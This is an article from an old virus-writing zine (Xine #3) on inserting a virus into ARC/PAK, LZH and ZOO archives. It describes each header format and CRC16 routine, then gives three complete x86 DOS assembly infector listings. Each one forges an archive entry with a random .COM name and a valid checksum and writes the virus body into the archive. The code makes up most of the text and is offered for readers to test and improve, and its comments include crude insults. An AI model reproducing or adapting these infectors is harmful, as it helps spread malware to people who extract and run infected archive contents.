/-----------------------------\ | Xine - issue #3 - Phile 112 | \-----------------------------/ Dropping over old archives A view on the past , LZH , ARC/PAK , ZOO , CRC16 Intro +-----+ Long time ago when zip rar & arj weren't too much used, there were some more known archives because they imposed themseves on the amiga or the atari scene. Those formats are totally forgotten now , but I found it interesting to study them in the Archive infector series , so Enjoy! The CRC16 +---------+ What's the CRC16 , the same thing than the CRC32 but smaller and using a 512 bytes table zone , see its code rendertable: mov bx,0a001h mov di,offset starttable ; render 512 bytes in di xor dx,dx crc_jnz: mov ax,dx ; calculations ... mov cx,8 crc16_loop: shr ax,1 jae crc16_ja ; anomality to complexify xor ax,bx ; the table crc16_ja: loop crc16_loop ; do it 8 times stosw ; put a word inc dl ; do it 256 times jnz crc_jnz ; go for it! ret When you have done that you done the CRC calculation, the scheme is the same than in CRC_16 file , so si = offset of start CRC calc & cx = number of thoz crc_calc16: push bx ; save handle push cx call rendertable ; build the table pop cx cld xor ax,ax xor bx,bx ; reset ax , bx render_loop: lodsb ; get byte ds:si xor bl,al ; render it mov al,bh mov bh,ah shl bx,1 mov bx,word ptr [bx+starttable] ; include here the xor bx,ax ; table loop render_loop xchg bx,dx ; push crc result ; into dx pop bx ret The ARC format +--------------+ NB: Arc are know as ARC/PAK extension , this two means the same thing NB II: (I give a big thanks to Raymond Clay from whom I take his ARC description here ) OFFSET LABEL TYP VALUE DESCRIPTION ------ ----------- ---- ----------- ---------------------------------- 00 ARCID DB $1A 01 ARCMTD DB 00 ;Method value: 0 = end of archive 8 = crunched after packin LZW 1-2 = unused/unpacked 9 = squashed 3 = rle encoding 10 = crushed 4 = squezzed 11 = distilled 5 = crunched 12-19 : unknown 6 = packing + crunched 40 = reserved 7 = packing/crunched with algo 02 ARCFNT DS 12 ;filename 0E DB 00 0F ARCNSZ HEX 00000000 ;Compressed size 13 ARCDAT DW 0000 ;File date (MSDOS) 15 ARCTIM DW 0000 ;File time (MSDOS) 17 ARCCRC DW 0000 19 ARCOSZ HEX 00000000 ;Uncompressed size ARC Infection +--------------+ Erm , a precision first , there's a little packet at the end of the ARC file you must preserve , some ARC file have it , other not , two are good but you can't drop over a file who have a last packet ,then you must detect the last packet , at all arc/pak file , it was at the end-12 of the file , then you can easily save it somewhere ( those I have seen ) 1ø Go to the end-256 2ø Read 256 and scan for dead packet 3ø Save dead packet and write header at this offset 4ø Write the header 5ø Write virus 6ø Close the file The LZH format +--------------+ NB (I give a big thanks to Raymond Clay from whom I take his LZH description here ) OFFSET LABEL TYP VALUE DESCRIPTION ------ ----------- ---- ----------- ---------------------------------- 00 LZHHSZ DB 0 ;Header size 01 LZHCKS DB 0 ;Cksum of remaining bytes 02 LZHMTD ASC '-lh0-' ;Method 07 LZHNSZ HEX 00000000 ;Compressed size 0B LZHOSZ HEX 00000000 ;Uncompressed size 0F LZHTIM DW 0000 ;File time (MSDOS) 11 LZHDAT DW 0000 ;File date (MSDOS) 13 LZHATR DW 0000 ;File attribute 15 LZHFNL DB 00 ;filename/path length 16 LZHFNT DS LZHFNL ;filename/path 2B LZHCRC DW 0000 ;CRC-16 LZH infection +-------------+ NB: There's some crappy code at the end of the virus , I don't know what's that and in some archives it doesn't exist , anyway I wrote something to detect it then no problemo Go to the end , drop an header , drop the virus , and it's finished! The ZOO format +--------------+ NB (I give a big thanks to Raymond Clay from whom I take his ZOO description here ) There are two parts, the first 20 bytes of the file are crappy code , good to put a a virus mark etc etc , zoo is a well good locked archive because offset goes header by header , but don't panick for our virus , the last header point to a kinda death packet, we just have to find it and rewrite the header and the virus OFFSET LABEL TYP VALUE DESCRIPTION ------ ----------- ---- ----------- ---------------------------------- 00 DS 20 14 ZOOSIG HEX A7DCFDC4 ;File signature 18 ZOO1PTR HEX 00000000 ;pointer to 1st header 1C ZOO? HEX 00000000 ;? 20 ZOOMVER DB 00 ;version making archive 21 ZOOMIN DB 00 ;minimum version needed to extract FILE HEADER ----------- OFFSET LABEL TYP VALUE DESCRIPTION ------ ----------- ---- ----------- ---------------------------------- 00 ZOOFSIG HEX A7DCFDC4 ;signature 04 ZOOFTYP DB 00 ;? 06 ZOOFCMP DB 00 ;Compression method value: 0 = Stored 1 = Crunched 08 ZOOFNXH HEX 00000000 ;Nxt hdr ofst frm Start of ZOO file 0A ZOOFCUR HEX 00000000 ;Offset of this hdr 0E ZOOFDAT DW 0000 ;Last mod file date (MS-DOS) 10 ZOOFTIM DW 0000 ;Last mod file time (MS-DOS) 12 ZOOFCRC DW 0000 ;CRC-16 14 ZOOFOSZ HEX 00000000 ;Uncompressed size 18 ZOOFNSZ HEX 00000000 ;Compressed size 1C ZOOFMVER DB 00 ;version that made this file 1D ZOOFMIN DB 00 ;minimum version needed to extract 1E Z00FDEL DB 00 ;1 if file deleted from archive 1F ZOOFCMTP HEX 00000000 ;pointer to comment, 0 if none 23 ZOOFCMTL DW 0000 ;length of comment 25 ZOOFNAM DS 13 ;filename ZOO infection +-------------+ Go to the end , search the death packet , build & drop an header , drop the virus , and it's finish! Here's those code , any suggestion is welcome - ARC INFECTOR ( test it with the appropried name file ) - - - - - - - - - - .model tiny .code .286 org 100h start: mov ax,3d02h ; open file mov dx,offset name1 int 21h xchg ax,bx mov ah,3fh ; read first 256 bytes mov cx,256 mov dx,offset temporary1 int 21h cmp byte ptr [temporary1],1Ah ; test it if ARC archive jne ARC_invalid call ARC_header ; build an header mov al,02 call go sub ax,12 sbb dx,0 push ax push dx push ax push dx pop cx pop dx xor ax,ax call gozero ; go to the end-12 mov ah,3fh mov cx,12 mov dx,offset betaname int 21h ; read 12 bytes cmp byte ptr [betaname],01ah ; test for death header mark jne Arc_invalid pop cx pop dx xor ax,ax call gozero mov ah,40h mov cx,1dh mov dx,offset temporary1 int 21h ; write our header mov ah,40h mov cx,fin-start mov dx,offset start int 21h ; write our virus mov ah,40h mov cx,12 mov dx,offset betaname int 21h ; write our death header ARC_invalid: mov ah,3Eh ; close the file int 21h ret ARC_header: mov bp,offset [temporary1] mov byte ptr [bp+1],2 ; method = 2 no compression call set_a_name lea di,[bp+2] mov si,offset betaname repz movsb mov word ptr [bp+0fh],fin-start mov word ptr [bp+0fh+2],0 mov word ptr [bp+19h],fin-start mov word ptr [bp+19h+2],0 mov si,offset start mov cx,fin-start call crc_calc16 mov word ptr [bp+17h],dx ret set_a_name: ; set a random name mov ah,2Ch int 21h and cx,0000111100001111b and dx,0000111100001111b add cx,4141h add dx,4141h mov word ptr [betaname],cx mov word ptr [betaname+2],dx mov word ptr [betaname+4],'C.' mov word ptr [betaname+6],'MO' mov word ptr [betaname+8],0 mov cx,9 ret go: xor cx,cx xor dx,dx gozero: mov ah,42h int 21h ret crc_calc16: ; render crc of ds:si push bx push cx call rendertable pop cx cld xor ax,ax xor bx,bx render_loop: lodsb xor bl,al mov al,bh mov bh,ah shl bx,1 mov bx,word ptr [bx+starttable] xor bx,ax loop render_loop xchg bx,dx pop bx ret rendertable: mov bx,0a001h mov di,offset starttable xor dx,dx crc_jnz: mov ax,dx mov cx,8 crc16_loop: shr ax,1 jae crc16_ja xor ax,bx crc16_ja: loop crc16_loop stosw inc dl jnz crc_jnz ret name1: db 'yeye.pak',0 fin: betaname: db 13 dup (?) starttable: db 1024 dup (?) db 2 dup (?) temporary1: db 256 dup (?) end start - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - ZOO INFECTOR ( test it with the appropried name file )- - - - - - - - - - .model tiny .code .286 org 100h start: mov ax,3d02h ; open file mov dx,offset name1 int 21h xchg ax,bx mov ah,3fh ; read 256 bytes mov cx,256 mov dx,offset temporary1 int 21h mov si,offset temporary1 add si,word ptr [temporary1+18h] cmp word ptr [si],0A7DCh ; test zoo integrity jne invalid_zoo call zoo_header ; rebuild zoo header mov al,2 call go ; go to the end-96 push ax push dx sub ax,96 sbb cx,0 push dx push ax pop dx pop cx xor ax,ax call gozero mov ah,3fh ; read 96 bytes mov cx,96 mov dx,offset temporary1+256 int 21h mov si,offset temporary1+256+96 zoo_scan: cmp word ptr [si],0FDC4h ; test for last packet je test_signature ; signature Zoo_continue: dec si dec cx jnz zoo_scan ; not found ? pop dx pop ax invalid_zoo: ; then close the file mov ah,3Eh int 21h ret test_signature: cmp word ptr [si-2],0A7DCh ; test the file jne zoo_continue mov bp,96 ; set location sub bp,cx ; for bp add bp,2 pop cx pop dx sub dx,bp sbb cx,0 push cx push dx add dx,26h+13+15 adc cx,0 mov word ptr [di+10],dx ; offset of this mov word ptr [di+10+2],cx ; header add dx,fin-start adc cx,0 mov word ptr [di+6],dx ; offset of the next mov word ptr [di+6+2],cx ; header pop dx pop cx xor ax,ax call gozero ; go at the beginning push ax push dx mov cx,bp mov ah,3fh ; read 256 bytes mov dx,offset temporary1+256 int 21h pop cx pop dx xor ax,ax ; go to the beginning call gozero mov ah,40h ; write our header mov cx,26h+13+15 mov dx,offset temporary1 add dx,word ptr [temporary1+18h] int 21h mov ah,40h ; write our virus mov cx,fin-start mov dx,offset start int 21h mov ah,40h ; write the last packet mov cx,bp mov dx,offset temporary1+256 int 21h jmp invalid_zoo zoo_header: mov bp,si mov byte ptr [bp+5],00 push bp mov si,offset start mov cx,fin-start call crc_calc16 ; get crc16 of the ; virus pop bp mov word ptr [bp+12h],dx ; save it at 12H mov word ptr [bp+1Fh],0 ; set no comment mov word ptr [bp+1Fh+2],0 ; mov word ptr [bp+1Fh+4],0 ; and no length comment mov word ptr [bp+14h],fin-start ; compressed & mov word ptr [bp+14h+2],0 ; uncompressed size mov word ptr [bp+18h],fin-start mov word ptr [bp+18h+2],0 call set_a_name ; render a new name mov si,offset betaname ; put it into the lea di,[bp+26h] ; header repz movsb mov di,bp ret set_a_name: ; dunno for kitchen ? mov ah,2Ch int 21h and cx,0000111100001111b and dx,0000111100001111b add cx,4141h add dx,4141h mov word ptr [betaname],cx mov word ptr [betaname+2],dx mov word ptr [betaname+4],'C.' mov word ptr [betaname+6],'MO' mov word ptr [betaname+8],0 mov cx,9 ret go: ; Anti MS newbies piss off xor cx,cx xor dx,dx gozero: mov ah,42h int 21h ret crc_calc16: ; Hey , politicaly incorrect ; -> fuck you usa push bx push cx call rendertable pop cx cld xor ax,ax xor bx,bx render_loop: lodsb xor bl,al mov al,bh mov bh,ah shl bx,1 mov bx,word ptr [bx+starttable] xor bx,ax loop render_loop xchg bx,dx pop bx ret rendertable: mov bx,0a001h mov di,offset starttable xor dx,dx crc_jnz: mov ax,dx mov cx,8 crc16_loop: shr ax,1 jae crc16_ja xor ax,bx crc16_ja: loop crc16_loop stosw inc dl jnz crc_jnz ret name1: db 'yeye.zoo',0 fin: betaname: db 13 dup (?) starttable: db 1024 dup (?) db 2 dup (?) temporary1: db 256 dup (?) end start - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - LZH INFECTOR ( test it with the appropried name file )- - - - - - - - - - .model tiny .code .286 org 100h start: mov ax,3d02h ; open filename mov dx,offset name1 int 21h xchg ax,bx mov ah,3fh ; viva checkevara mov cx,256 mov dx,offset temporary1 int 21h cmp word ptr [temporary1+2],'l-' ; testlzh integrity jne LZH_invalid call LZH_header ; build lzh header mov al,02 call go ; go to the end-7 sub ax,7 sbb dx,0 push ax push dx push ax push dx pop cx pop dx xor ax,ax call gozero mov ah,3fh ; read 7 bytes mov cx,7 push cx mov dx,offset betaname push dx int 21h pop bp pop cx add bp,7 testforzero: ; test for a death cmp byte ptr [bp],0 ; crappy packet je continue dec bp dec cx jnz testforzero jmp LZH_invalid continue: ; mov bp,cx pop ax pop dx add dx,cx xchg ax,cx xor ax,ax call gozero ; go to the end mov ah,40h mov cx,2 add cl,byte ptr [temporary1] mov dx,offset temporary1 int 21h ; write the header mov ah,40h mov cx,fin-start mov dx,offset start int 21h ; write the virus mov ah,40h mov cx,7 sub cx,bp mov dx,offset betaname add dx,bp int 21h ; write the betapacket LZH_invalid: mov ah,3Eh ; close and return int 21h ret LZH_header: mov bp,offset [temporary1] mov byte ptr [bp+5],'0' ; set no compression mov word ptr [bp+7],fin-start ; set compressed & uncomprss mov word ptr [bp+7+2],0 ; size mov word ptr [bp+7+4],fin-start mov word ptr [bp+7+4+2],0 call set_a_name ; generate a name dec cx mov byte ptr [bp+15h],cl mov di,bp add di,16h mov si,offset betaname repz movsb ; copy it push di push bp mov si,offset start mov cx,fin-start call crc_calc16 ; get crc of the virus pop bp pop di mov word ptr [di],dx sub di,bp mov cx,di mov byte ptr [bp],cl ; then now , make the ; checksum of the header lea si,[bp+2] xor ax,ax LZH_loop1: add ah,byte ptr [si] inc si dec di jnz LZH_loop1 mov byte ptr [bp+1],ah ret set_a_name: ; generate a name mov ah,2Ch int 21h and cx,0000111100001111b and dx,0000111100001111b add cx,4141h add dx,4141h mov word ptr [betaname],cx mov word ptr [betaname+2],dx mov word ptr [betaname+4],'C.' mov word ptr [betaname+6],'MO' mov word ptr [betaname+8],0 mov cx,9 ret go: ; don't wrote virus for ; glory xor cx,cx ; money xor dx,dx ; army ; in this case you'll survive gozero: mov ah,42h int 21h ret crc_calc16: push bx push cx call rendertable pop cx cld xor ax,ax xor bx,bx render_loop: lodsb xor bl,al mov al,bh mov bh,ah shl bx,1 mov bx,word ptr [bx+starttable] xor bx,ax loop render_loop xchg bx,dx pop bx ret rendertable: mov bx,0a001h mov di,offset starttable xor dx,dx crc_jnz: mov ax,dx mov cx,8 crc16_loop: shr ax,1 jae crc16_ja xor ax,bx crc16_ja: loop crc16_loop stosw inc dl jnz crc_jnz ret name1: db 'yeye.lzh',0 fin: betaname: db 13 dup (?) starttable: db 1024 dup (?) db 2 dup (?) temporary1: db 256 dup (?) end start - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - -